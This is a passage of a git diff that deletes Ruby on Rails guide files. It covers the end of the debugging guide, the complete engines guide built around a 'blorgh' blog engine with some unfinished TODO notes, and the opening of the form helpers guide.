- 2348 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:Array
- 1508 /opt/local//lib/ruby/gems/1.8/specifications/gettext-1.90.0.gemspec:14:String
- 1021 /opt/local//lib/ruby/gems/1.8/specifications/heel-0.2.0.gemspec:14:String
- 951 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:111:String
- 935 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:String
- 834 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:146:Array
- ...
-</shell>
-
-This way you can find where your application is leaking memory and fix it.
-
-If "BleakHouse":https://github.com/fauna/bleak_house/tree/master doesn't report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further.
-
-h4. Valgrind
-
-"Valgrind":http://valgrind.org/ is a Linux-only application for detecting C-based memory leaks and race conditions.
-
-There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls +malloc()+ but is doesn't properly call +free()+, this memory won't be available until the app terminates.
-
-For further information on how to install Valgrind and use with Ruby, refer to "Valgrind and Ruby":http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/ by Evan Weaver.
-
-h3. Plugins for Debugging
-
-There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:
-
-* "Footnotes":https://github.com/josevalim/rails-footnotes: Every Rails page has footnotes that give request information and link back to your source via TextMate.
-* "Query Trace":https://github.com/ntalbott/query_trace/tree/master: Adds query origin tracing to your logs.
-* "Query Stats":https://github.com/dan-manges/query_stats/tree/master: A Rails plugin to track database queries.
-* "Query Reviewer":http://code.google.com/p/query-reviewer/: This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed.
-* "Exception Notifier":https://github.com/smartinez87/exception_notification/tree/master: Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.
-* "Exception Logger":https://github.com/defunkt/exception_logger/tree/master: Logs your Rails exceptions in the database and provides a funky web interface to manage them.
-
-h3. References
-
-* "ruby-debug Homepage":http://www.datanoise.com/ruby-debug
-* "Article: Debugging a Rails application with ruby-debug":http://www.sitepoint.com/article/debug-rails-app-ruby-debug/
-* "ruby-debug Basics screencast":http://brian.maybeyoureinsane.net/blog/2007/05/07/ruby-debug-basics-screencast/
-* "Ryan Bate's ruby-debug screencast":http://railscasts.com/episodes/54-debugging-with-ruby-debug
-* "Ryan Bate's stack trace screencast":http://railscasts.com/episodes/24-the-stack-trace
-* "Ryan Bate's logger screencast":http://railscasts.com/episodes/56-the-logger
-* "Debugging with ruby-debug":http://bashdb.sourceforge.net/ruby-debug.html
-* "ruby-debug cheat sheet":http://cheat.errtheblog.com/s/rdebug/
-* "Ruby on Rails Wiki: How to Configure Logging":http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging
-* "Bleak House Documentation":http://blog.evanweaver.com/files/doc/fauna/bleak_house/files/README.html
diff --git a/railties/guides/source/engines.textile b/railties/guides/source/engines.textile
deleted file mode 100644
index 126d09ab87..0000000000
--- a/railties/guides/source/engines.textile
+++ /dev/null
@@ -1,393 +0,0 @@
-h2. Getting Started with Engines
-
-In this guide you will learn about engines and how they can be used to provide additional functionality to their host applications through a clean and very easy-to-use interface. You will learn the following things in this guide:
-
-* What makes an engine
-* How to generate an engine
-* Building features for the engine
-* Hooking the engine into an application
-* Overriding engine functionality in the application
-
-endprologue.
-
-h3. What are engines?
-
-Engines can be considered miniature applications that provide functionality to their host applications. A Rails application is actually just a "supercharged" engine, with the +Rails::Application+ class inheriting from +Rails::Engine+. Therefore, engines and applications share common functionality but are at the same time two separate beasts. Engines and applications also share a common structure, as you'll see throughout this guide.
-
-Engines are also closely related to plugins where the two share a common +lib+ directory structure and are both generated using the +rails plugin new+ generator.
-
-The engine that will be generated for this guide will be called "blorgh". The engine will provide blogging functionality to its host applications, allowing for new posts and comments to be created. For now, you will be working solely within the engine itself and in later sections you'll see how to hook it into an application.
-
-Engines can also be isolated from their host applications. This means that an application is able to have a path provided by a routing helper such as +posts_path+ and use an engine also that provides a path also called +posts_path+, and the two would not clash. Along with this, controllers, models and table names are also namespaced. You'll see how to do this later in this guide.
-
-To see demonstrations of other engines, check out "Devise":https://github.com/plataformatec/devise, an engine that provides authentication for its parent applications, or "Forem":https://github.com/radar/forem, an engine that provides forum functionality.
-
-Finally, engines would not have be possible without the work of James Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever meet them, don't forget to say thanks!
-
-h3. Generating an engine
-
-To generate an engine with Rails 3.1, you will need to run the plugin generator and pass it the +--mountable+ option. To generate the beginnings of the "blorgh" engine you will need to run this command in a terminal:
-
-<shell>
-$ rails plugin new blorgh --mountable
-</shell>
-
-The +--mountable+ option tells the plugin generator that you want to create an engine (which is a mountable plugin, hence the option name), creating the basic directory structure of an engine by providing things such as the foundations of an +app+ folder, as well a +config/routes.rb+ file. This generator also provides a file at +lib/blorgh/engine.rb+ which is identical in function to an application's +config/application.rb+ file.
-
-h4. Inside an engine
-
-h5. Critical files
-
-At the root of the engine's directory, lives a +blorgh.gemspec+ file. When you include the engine into the application later on, you will do so with this line in a Rails application's +Gemfile+:
-
-<ruby>
- gem 'blorgh', :path => "vendor/engines/blorgh"
-</ruby>
-
-By specifying it as a gem within the +Gemfile+, Bundler will load it as such, parsing this +blorgh.gemspec+ file and requiring a file within the +lib+ directory called +lib/blorgh.rb+. This file requires the +blorgh/engine.rb+ file (located at +lib/blorgh/engine.rb+) and defines a base module called +Blorgh+.
-
-<ruby>
-require "blorgh/engine"
-
-module Blorgh
-end
-</ruby>
-
-Within +lib/blorgh/engine.rb+ is the base class for the engine:
-
-<ruby>
-module Blorgh
- class Engine < Rails::Engine
- isolate_namespace Blorgh
- end
-end
-</ruby>
-
-By inheriting from the +Rails::Engine+ class, this engine gains all the functionality it needs, such as being able to serve requests to its controllers.
-
-The +isolate_namespace+ method here deserves special notice. This call is responsible for isolating the controllers, models, routes and other things into their own namespace. Without this, there is a possibility that the engine's components could "leak" into the application, causing unwanted disruption. It is recommended that this line be left within this file.
-
-h5. +app+ directory
-
-Inside the +app+ directory there lives the standard +assets+, +controllers+, +helpers+, +mailers+, +models+ and +views+ directories that you should be familiar with from an application. The +helpers+, +mailers+ and +models+ directories are empty and so aren't described in this section. We'll look more into models in a future section.
-
-Within the +app/assets+ directory, there is the +images+, +javascripts+ and +stylesheets+ directories which, again, you should be familiar with due to their similarities of an application. One difference here however is that each directory contains a sub-directory with the engine name. Because this engine is going to be namespaced, its assets should be too.
-
-Within the +app/controllers+ directory there is a +blorgh+ directory and inside that a file called +application_controller.rb+. This file will provide any common functionality for the controllers of the engine. The +blorgh+ directory is where the other controllers for the engine will go. By placing them within this namespaced directory, you prevent them from possibly clashing with identically-named controllers within other engines or even within the application.
-
-Lastly, the +app/views+ directory contains a +layouts+ folder which contains file at +blorgh/application.html.erb+ which allows you to specify a layout for the engine. If this engine is to be used as a stand-alone engine, then you would add any customization to its layout in this file, rather than the applications +app/views/layouts/application.html.erb+ file.
-
-h5. +script+ directory
-
-This directory contains one file, +script/rails+, which allows you to use the +rails+ sub-commands and generators just like you would within an application. This means that you will very easily be able to generate new controllers and models for this engine.
-
-h5. +test+ directory
-
-The +test+ directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at +test/dummy+. This application will mount the engine in the +test/dummy/config/routes.rb+ file:
-
-<ruby>
-Rails.application.routes.draw do
-
- mount Blorgh::Engine => "/blorgh"
-end
-</ruby>
-
-This line mounts the engine at the path of +/blorgh+, which will make it accessible through the application only at that path. We will look more into mounting an engine after some features have been developed.
-
-Also in the test directory is the +test/integration+ directory, where integration tests for the engine should be placed.
-
-h3. Providing engine functionality
-
-The engine that this guide covers will provide posting and commenting functionality.
-
-h4. Generating a post resource
-
-The first thing to generate for a blog engine is the +Post+ model and related controller. To quickly generate this, you can use the Rails scaffold generator.
-
-<shell>
-$ rails generate scaffold post title:string text:text
-</shell>
-
-This command will output this information:
-
-<shell>
-invoke active_record
-create db/migrate/[timestamp]_create_blorgh_posts.rb
-create app/models/blorgh/post.rb
-invoke test_unit
-create test/unit/blorgh/post_test.rb
-create test/fixtures/blorgh/posts.yml
- route resources :posts
-invoke scaffold_controller
-create app/controllers/blorgh/posts_controller.rb
-invoke erb
-create app/views/blorgh/posts
-create app/views/blorgh/posts/index.html.erb
-create app/views/blorgh/posts/edit.html.erb
-create app/views/blorgh/posts/show.html.erb
-create app/views/blorgh/posts/new.html.erb
-create app/views/blorgh/posts/_form.html.erb
-invoke test_unit
-create test/functional/blorgh/posts_controller_test.rb
-invoke helper
-create app/helpers/blorgh/posts_helper.rb
-invoke test_unit
-create test/unit/helpers/blorgh/posts_helper_test.rb
-invoke assets
-invoke js
-create app/assets/javascripts/blorgh/posts.js
-invoke css
-create app/assets/stylesheets/blorgh/posts.css
-invoke css
-create app/assets/stylesheets/scaffold.css
-</shell>
-
-The first thing that the scaffold generator does is invoke the +active_record+ generator, which generates a migration and a model for the resource. Note here, however, that the migration is called +create_blorgh_posts+ rather than the usual +create_posts+. This is due to the +isolate_namespace+ method called in the +Blorgh::Engine+ class's definition. The model here is also namespaced, being placed at +app/models/blorgh/post.rb+ rather than +app/models/post.rb+.
-
-Next, the +test_unit+ generator is invoked for this model, generating a unit test at +test/unit/blorgh/post_test.rb+ (rather than +test/unit/post_test.rb+) and a fixture at +test/fixtures/blorgh/posts.yml+ (rather than +test/fixtures/posts.yml+).
-
-After that, a line for the resource is inserted into the +config/routes.rb+ file for the engine. This line is simply +resources :posts+, turning the +config/routes.rb+ file into this:
-
-<ruby>
-Blorgh::Engine.routes.draw do
- resources :posts
-
-end
-</ruby>
-
-Note here that the routes are drawn upon the +Blorgh::Engine+ object rather than the +YourApp::Application+ class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the "test directory":#test-directory section.
-
-Next, the +scaffold_controller+ generator is invoked, generating a controlled called +Blorgh::PostsController+ (at +app/controllers/blorgh/posts_controller.rb+) and its related views at +app/views/blorgh/posts+. This generator also generates a functional test for the controller (+test/functional/blorgh/posts_controller_test.rb+) and a helper (+app/helpers/blorgh/posts_controller.rb+).
-
-Everything this generator has generated is neatly namespaced. The controller's class is defined within the +Blorgh+ module:
-
-<ruby>
-module Blorgh
- class PostsController < ApplicationController
- ...
- end
-end
-</ruby>
-
-NOTE: The +ApplicationController+ class being inherited from here is the +Blorgh::ApplicationController+, not an application's +ApplicationController+.
-
-The helper is also namespaced:
-
-<ruby>
-module Blorgh
- class PostsHelper
- ...
- end
-end
-</ruby>
-
-This helps prevent conflicts with any other engine or application that may have a post resource also.
-
-Finally, two files that are the assets for this resource are generated, +app/assets/javascripts/blorgh/posts.js+ and +app/assets/javascripts/blorgh/posts.css+. You'll see how to use these a little later.
-
-By default, the scaffold styling is not applied to the engine as the engine's layout file, +app/views/blorgh/application.html.erb+ doesn't load it. To make this apply, insert this line into the +<head>+ tag of this layout:
-
-<erb>
-<%= stylesheet_link_tag "scaffold" %>
-</erb>
-
-You can see what the engine has so far by running +rake db:migrate+ at the root of our engine to run the migration generated by the scaffold generator, and then running +rails server+. When you open +http://localhost:3000/blorgh/posts+ you will see the default scaffold that has been generated.
-
-!images/engines_scaffold.png(Blank engine scaffold)!
-
-Click around! You've just generated your first engine's first functions.
-
-If you'd rather play around in the console, +rails console+ will also work just like a Rails application. Remember: the +Post+ model is namespaced, so to reference it you must call it as +Blorgh::Post+.
-
-<ruby>
- >> Blorgh::Post.find(1)
- => #<Blorgh::Post id: 1 ...>
-</ruby>
-
-One final thing is that the +posts+ resource for this engine should be the root of the engine. Whenever someone goes to the root path where the engine is mounted, they should be shown a list of posts. This can be made to happen if this line is inserted into the +config/routes.rb+ file inside the engine:
-
-<ruby>
-root :to => "posts#index"
-</ruby>
-
-Now people will only need to go to the root of the engine to see all the posts, rather than visiting +/posts+.
-
-h4. Generating a comments resource
-
-Now that the engine has the ability to create new blog posts, it only makes sense to add commenting functionality as well. To do get this, you'll need to generate a comment model, a comment controller and then modify the posts scaffold to display comments and allow people to create new ones.
-
-Run the model generator and tell it to generate a +Comment+ model, with the related table having two columns: a +post_id+ integer and +text+ text column.
-
-<shell>
-$ rails generate model Comment post_id:integer text:text
-</shell>
-
-This will output the following:
-
-<shell>
-invoke active_record
-create db/migrate/[timestamp]_create_blorgh_comments.rb
-create app/models/blorgh/comment.rb
-invoke test_unit
-create test/unit/blorgh/comment_test.rb
-create test/fixtures/blorgh/comments.yml
-</shell>
-
-This generator call will generate just the necessary model files it needs, namespacing the files under a +blorgh+ directory and creating a model class called +Blorgh::Comment+.
-
-To show the comments on a post, edit +app/views/posts/show.html.erb+ and add this line before the "Edit" link:
-
-<erb>
-<h3>Comments</h3>
-<%= render @post.comments %>
-</erb>
-
-This line will require there to be a +has_many+ association for comments defined on the +Blorgh::Post+ model, which there isn't right now. To define one, open +app/models/blorgh/post.rb+ and add this line into the model:
-
-<ruby>
-has_many :comments
-</ruby>
-
-Turning the model into this:
-
-<ruby>
-module Blorgh
- class Post < ActiveRecord::Base
- has_many :comments
- end
-end
-</ruby>
-
-Because the +has_many+ is defined inside a class that is inside the +Blorgh+ module, Rails will know that you want to use the +Blorgh::Comment+ model for these objects.
-
-Next, there needs to be a form so that comments can be created on a post. To add this, put this line underneath the call to +render @post.comments+ in +app/views/blorgh/posts/show.html.erb+:
-
-<erb>
-<%= render "blorgh/comments/form" %>
-</erb>
-
-Next, the partial that this line will render needs to exist. Create a new directory at +app/views/blorgh/comments+ and in it a new file called +_form.html.erb+ which has this content to create the required partial:
-
-<erb>
-<h3>New comment</h3>
-<%= form_for [@post, @post.comments.build] do |f| %>
- <p>
- <%= f.label :text %><br />
- <%= f.text_area :text %>
- </p>
- <%= f.submit %>
-<% end %>
-</erb>
-
-This form, when submitted, is going to attempt to post to a route of +posts/:post_id/comments+ within the engine. This route doesn't exist at the moment, but can be created by changing the +resources :posts+ line inside +config/routes.rb+ into these lines:
-
-<ruby>
-resources :posts do
- resources :comments
-end
-</ruby>
-
-The route now will exist, but the controller that this route goes to does not. To create it, run this command:
-
-<shell>
-$ rails g controller comments
-</shell>
-
-This will generate the following things:
-
-<shell>
-create app/controllers/blorgh/comments_controller.rb
-invoke erb
- exist app/views/blorgh/comments
-invoke test_unit
-create test/functional/blorgh/comments_controller_test.rb
-invoke helper
-create app/helpers/blorgh/comments_helper.rb
-invoke test_unit
-create test/unit/helpers/blorgh/comments_helper_test.rb
-invoke assets
-invoke js
-create app/assets/javascripts/blorgh/comments.js
-invoke css
-create app/assets/stylesheets/blorgh/comments.css
-</shell>
-
-The form will be making a +POST+ request to +/posts/:post_id/comments+, which will correspond with the +create+ action in +Blorgh::CommentsController+. This action needs to be created and can be done by putting the following lines inside the class definition in +app/controllers/blorgh/comments_controller.rb+:
-
-<ruby>
-def create
- @post = Post.find(params[:post_id])
- @comment = @post.comments.build(params[:comment])
- flash[:notice] = "Comment has been created!"
- redirect_to post_path
-end
-</ruby>
-
-This is the final part required to get the new comment form working. Displaying the comments however, is not quite right yet. If you were to create a comment right now you would see this error:
-
-<text>
- Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], :formats=>[:html], :locale=>[:en, :en]}. Searched in:
- * "/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views"
- * "/Users/ryan/Sites/side_projects/blorgh/app/views"
-</text>
-
-The engine is unable to find the partial required for rendering the comments. Rails has looked firstly in the application's (+test/dummy+) +app/views+ directory and then in the engine's +app/views+ directory. When it can't find it, it will throw this error. The engine knows to look for +blorgh/comments/comment+ because the model object it is receiving is from the +Blorgh::Comment+ class.
-
-This partial will be responsible for rendering just the comment text, for now. Create a new file at +app/views/blorgh/comments/_comment.html.erb+ and put this line inside it:
-
-<erb>
-<%= comment_counter + 1 %>. <%= comment.text %>
-</erb>
-
-The +comment_counter+ local variable is given to us by the +<%= render @post.comments %>+ call, as it will define this automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created.
-
-That completes the comment function of the blogging engine. Now it's time to use it within an application.
-
-h3. Hooking into application
-
-Using an engine within an application is very easy. First, the engine needs to be specified inside the application's +Gemfile+. If there isn't an application handy to test this out in, generate one using the +rails new+ command outside of the engine directory like this:
-
-<shell>
-$ rails new unicorn
-</shell>
-
-Usually, specifying the engine inside the Gemfile would be done by specifying it as a normal, everyday gem.
-
-<ruby>
-gem 'devise'
-</ruby>
-
-Because the +blorgh+ engine is still under development, it will need to have a +:path+ option for its +Gemfile+ specification:
-
-<ruby>
-gem 'blorgh', :path => "/path/to/blorgh"
-</ruby>
-
-If the whole +blorgh+ engine directory is copied to +vendor/engines/blorgh+ then it could be specified in the +Gemfile+ like this:
-
-<ruby>
-gem 'blorgh', :path => "vendor/engines/blorgh"
-</ruby>
-
-As described earlier, by placing the gem in the +Gemfile+ it will be loaded when Rails is loaded, as it will first require +lib/blorgh.rb+ in the engine and then +lib/blorgh/engine.rb+, which is the file that defines the major pieces of functionality for the engine.
-
-To make the engine's functionality accessible from within an application, it needs to be mounted in that application's +config/routes.rb+ file:
-
-<ruby>
- mount Blorgh::Engine, :at => "blog"
-</ruby>
-
-NOTE: Other engines, such as Devise, handle this a little differently by making you specify custom helpers such as +devise_for+ in the routes. These helpers do exactly the same thing, mounting pieces of the engines's functionality at a pre-defined path which may be customizable.
-
-
-
-This line will mount the engine
-TODO: Application will provide a User foundation class which the engine hooks into through a configuration setting, configurable in the application's initializers. The engine will be mounted at the +/blog+ path in the application.
-
-h3. Overriding engine functionality
-
-TODO: Cover how to override engine functionality in the engine, such as controllers and views.
-
-IDEA: I like Devise's +devise :controllers => { "sessions" => "sessions" }+ idea. Perhaps we could incorporate that into the guide?
-TODO: Mention how to use assets within an engine?
-TODO: Mention how to depend on external gems, like RedCarpet.
diff --git a/railties/guides/source/form_helpers.textile b/railties/guides/source/form_helpers.textile
deleted file mode 100644
index 821bb305f6..0000000000
--- a/railties/guides/source/form_helpers.textile
+++ /dev/null
@@ -1,798 +0,0 @@
-h2. Rails Form helpers
-
-Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.
-
-In this guide you will:
-
-* Create search forms and similar kind of generic forms not representing any specific model in your application
-* Make model-centric forms for creation and editing of specific database records
-* Generate select boxes from multiple types of data
-* Understand the date and time helpers Rails provides
-* Learn what makes a file upload form different
-* Learn some cases of building forms to external resources
-* Find out where to look for complex forms
-
-endprologue.
-
-NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit "the Rails API documentation":http://api.rubyonrails.org/ for a complete reference.
-
-
-h3. Dealing with Basic Forms
-
-The most basic form helper is +form_tag+.
-
-<erb>
-<%= form_tag do %>
- Form contents
-<% end %>
-</erb>
-
-When called without arguments like this, it creates a +&lt;form&gt;+ tag which, when submitted, will POST to the current page. For instance, assuming the current page is +/home/index+, the generated HTML will look like this (some line breaks added for readability):
-
-<html>
-<form accept-charset="UTF-8" action="/home/index" method="post">
- <div style="margin:0;padding:0">
- <input name="utf8" type="hidden" value="&#x2713;" />
- <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
- </div>
- Form contents
-</form>
-</html>
-
-Now, you'll notice that the HTML contains something extra: a +div+ element with two hidden input elements inside. This div is important, because the form cannot be successfully submitted without it. The first input element with name +utf8+ enforces browsers to properly respect your form's character encoding and is generated for all forms whether their actions are "GET" or "POST". The second input element with name +authenticity_token+ is a security feature of Rails called *cross-site request forgery protection*, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the "Security Guide":./security.html#_cross_site_reference_forgery_csrf.
-
-NOTE: Throughout this guide, the +div+ with the hidden input elements will be excluded from code samples for brevity.
-
-h4. A Generic Search Form
-
-One of the most basic forms you see on the web is a search form. This form contains:
-
-# a form element with "GET" method,
-# a label for the input,
-# a text input element, and
-# a submit element.
-
-To create this form you will use +form_tag+, +label_tag+, +text_field_tag+, and +submit_tag+, respectively. Like this:
-
-<erb>
-<%= form_tag("/search", :method => "get") do %>
- <%= label_tag(:q, "Search for:") %>
- <%= text_field_tag(:q) %>
- <%= submit_tag("Search") %>
-<% end %>
-</erb>
-
-This will generate the following HTML:
-
-<html>
-<form accept-charset="UTF-8" action="/search" method="get">
- <label for="q">Search for:</label>
- <input id="q" name="q" type="text" />
- <input name="commit" type="submit" value="Search" />
-</form>
-</html>
-
-TIP: For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.
-
-Besides +text_field_tag+ and +submit_tag+, there is a similar helper for _every_ form control in HTML.
-
-IMPORTANT: Always use "GET" as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right HTTP verb for an action.
-
-h4. Multiple Hashes in Form Helper Calls
-
-The +form_tag+ helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class.
-
-As with the +link_to+ helper, the path argument doesn't have to be given a string; it can be a hash of URL parameters recognizable by Rails' routing mechanism, which will turn the hash into a valid URL. However, since both arguments to +form_tag+ are hashes, you can easily run into a problem if you would like to specify both. For instance, let's say you write this:
-
-<ruby>
-form_tag(:controller => "people", :action => "search", :method => "get", :class => "nifty_form")
-# => '<form accept-charset="UTF-8" action="/people/search?method=get&class=nifty_form" method="post">'
-</ruby>
-
-Here, +method+ and +class+ are appended to the query string of the generated URL because you even though you mean to write two hashes, you really only specified one. So you need to tell Ruby which is which by delimiting the first hash (or both) with curly brackets. This will generate the HTML you expect:
-
-<ruby>
-form_tag({:controller => "people", :action => "search"}, :method => "get", :class => "nifty_form")
-# => '<form accept-charset="UTF-8" action="/people/search" method="get" class="nifty_form">'
-</ruby>
-
-h4. Helpers for Generating Form Elements
-
-Rails provides a series of helpers for generating form elements such as checkboxes, text fields, and radio buttons. These basic helpers, with names ending in "_tag" (such as +text_field_tag+ and +check_box_tag+), generate just a single +&lt;input&gt;+ element. The first parameter to these is always the name of the input. When the form is submitted, the name will be passed along with the form data, and will make its way to the +params+ hash in the controller with the value entered by the user for that field. For example, if the form contains +<%= text_field_tag(:query) %>+, then you would be able to get the value of this field in the controller with +params[:query]+.
-
-When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in +params+. You can read more about them in "chapter 7 of this guide":#understanding-parameter-naming-conventions. For details on the precise usage of these helpers, please refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html.
-
-h5. Checkboxes
-
-Checkboxes are form controls that give the user a set of options they can enable or disable:
-
-<erb>
-<%= check_box_tag(:pet_dog) %>
-<%= label_tag(:pet_dog, "I own a dog") %>
-<%= check_box_tag(:pet_cat) %>
-<%= label_tag(:pet_cat, "I own a cat") %>
-</erb>
-
-This generates the following:
-
-<html>
-<input id="pet_dog" name="pet_dog" type="checkbox" value="1" />
-<label for="pet_dog">I own a dog</label>
-<input id="pet_cat" name="pet_cat" type="checkbox" value="1" />
-<label for="pet_cat">I own a cat</label>
-</html>
-
-The first parameter to +check_box_tag+, of course, is the name of the input. The second parameter, naturally, is the value of the input. This value will be included in the form data (and be present in +params+) when the checkbox is checked.
-
-h5. Radio Buttons
-
-Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e., the user can only pick one):
-
-<erb>
-<%= radio_button_tag(:age, "child") %>
-<%= label_tag(:age_child, "I am younger than 21") %>
-<%= radio_button_tag(:age, "adult") %>
-<%= label_tag(:age_adult, "I'm over 21") %>
-</erb>
-
-Output:
-
-<html>
-<input id="age_child" name="age" type="radio" value="child" />
-<label for="age_child">I am younger than 21</label>
-<input id="age_adult" name="age" type="radio" value="adult" />
-<label for="age_adult">I'm over 21</label>
-</html>
-
-As with +check_box_tag+, the second parameter to +radio_button_tag+ is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one, and +params[:age]+ will contain either "child" or "adult".
-
-NOTE: Always use labels for checkbox and radio buttons. They associate text with a specific option and make it easier for users to click the inputs by expanding the clickable region.
-
-h4. Other Helpers of Interest
-
-Other form controls worth mentioning are textareas, password fields, hidden fields, search fields, telephone fields, URL fields and email fields:
-
-<erb>
-<%= text_area_tag(:message, "Hi, nice site", :size => "24x6") %>
-<%= password_field_tag(:password) %>
-<%= hidden_field_tag(:parent_id, "5") %>
-<%= search_field(:user, :name) %>
-<%= telephone_field(:user, :phone) %>
-<%= url_field(:user, :homepage) %>
-<%= email_field(:user, :address) %>
-</erb>
-
-Output:
-
-<html>
-<textarea id="message" name="message" cols="24" rows="6">Hi, nice site</textarea>
-<input id="password" name="password" type="password" />
-<input id="parent_id" name="parent_id" type="hidden" value="5" />
-<input id="user_name" name="user[name]" size="30" type="search" />
-<input id="user_phone" name="user[phone]" size="30" type="tel" />
-<input id="user_homepage" size="30" name="user[homepage]" type="url" />
-<input id="user_address" size="30" name="user[address]" type="email" />
-</html>
-
-Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript.
-
-IMPORTANT: The search, telephone, URL, and email inputs are HTML5 controls. If you require your app to have a consistent experience in older browsers, you will need an HTML5 polyfill (provided by CSS and/or JavaScript). There is definitely "no shortage of solutions for this":https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills, although a couple of popular tools at the moment are "Modernizr":http://www.modernizr.com/ and "yepnope":http://yepnopejs.com/, which provide a simple way to add functionality based on the presence of detected HTML5 features.
-
-TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the "Security Guide":security.html#logging.
-
-h3. Dealing with Model Objects
-
-h4. Model Object Helpers
-
-A particularly common task for a form is editing or creating a model object. While the +*_tag+ helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the <notextile>_tag</notextile> suffix, for example +text_field+, +text_area+.
-
-For these helpers the first argument is the name of an instance variable and the second is the name of a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined +@person+ and that person's name is Henry then a form containing:
-
-<erb>
-<%= text_field(:person, :name) %>
-</erb>
-
-will produce output similar to
-
-<erb>
-<input id="person_name" name="person[name]" type="text" value="Henry"/>
-</erb>
-
-Upon form submission the value entered by the user will be stored in +params[:person][:name]+. The +params[:person]+ hash is suitable for passing to +Person.new+ or, if +@person+ is an instance of Person, +@person.update_attributes+. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a +name+ and a +name=+ method Rails will be happy.
-
-WARNING: You must pass the name of an instance variable, i.e. +:person+ or +"person"+, not an actual instance of your model object.
-
-Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the "Active Record Validations and Callbacks":./active_record_validations_callbacks.html#displaying-validation-errors-in-the-view guide.
-
-h4. Binding a Form to an Object
-
-While this is an increase in comfort it is far from perfect. If Person has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what +form_for+ does.
-
-Assume we have a controller for dealing with articles +app/controllers/articles_controller.rb+:
-
-<ruby>
-def new
- @article = Article.new
-end
-</ruby>
-
-The corresponding view +app/views/articles/new.html.erb+ using +form_for+ looks like this:
-
-<erb>
-<%= form_for @article, :url => { :action => "create" }, :html => {:class => "nifty_form"} do |f| %>
- <%= f.text_field :title %>
- <%= f.text_area :body, :size => "60x12" %>
- <%= f.submit "Create" %>
-<% end %>
-</erb>
-
-There are a few things to note here:
-
-# +@article+ is the actual object being edited.
-# There is a single hash of options. Routing options are passed in the +:url+ hash, HTML options are passed in the +:html+ hash.
-# The +form_for+ method yields a *form builder* object (the +f+ variable).
-# Methods to create form controls are called *on* the form builder object +f+
-
-The resulting HTML is:
-
-<html>
-<form accept-charset="UTF-8" action="/articles/create" method="post" class="nifty_form">
- <input id="article_title" name="article[title]" size="30" type="text" />
- <textarea id="article_body" name="article[body]" cols="60" rows="12"></textarea>
- <input name="commit" type="submit" value="Create" />
-</form>
-</html>
-
-The name passed to +form_for+ controls the key used in +params+ to access the form's values. Here the name is +article+ and so all the inputs have names of the form +article[<em>attribute_name</em>]+. Accordingly, in the +create+ action +params[:article]+ will be a hash with keys +:title+ and +:body+. You can read more about the significance of input names in the parameter_names section.
-
-The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder.
-
-You can create a similar binding without actually creating +&lt;form&gt;+ tags with the +fields_for+ helper. This is useful for editing additional model objects with the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for creating both like so:
-
-<erb>
-<%= form_for @person, :url => { :action => "create" } do |person_form| %>
- <%= person_form.text_field :name %>
- <%= fields_for @person.contact_detail do |contact_details_form| %>
- <%= contact_details_form.text_field :phone_number %>
- <% end %>
-<% end %>
-</erb>
-
-which produces the following output:
-
-<html>
-<form accept-charset="UTF-8" action="/people/create" class="new_person" id="new_person" method="post">
- <input id="person_name" name="person[name]" size="30" type="text" />
- <input id="contact_detail_phone_number" name="contact_detail[phone_number]" size="30" type="text" />
-</form>
-</html>
-
-The object yielded by +fields_for+ is a form builder like the one yielded by +form_for+ (in fact +form_for+ calls +fields_for+ internally).
-
-h4. Relying on Record Identification
-
-The Article model is directly available to users of the application, so -- following the best practices for developing with Rails -- you should declare it *a resource*:
-
-<ruby>
-resources :articles
-</ruby>
-
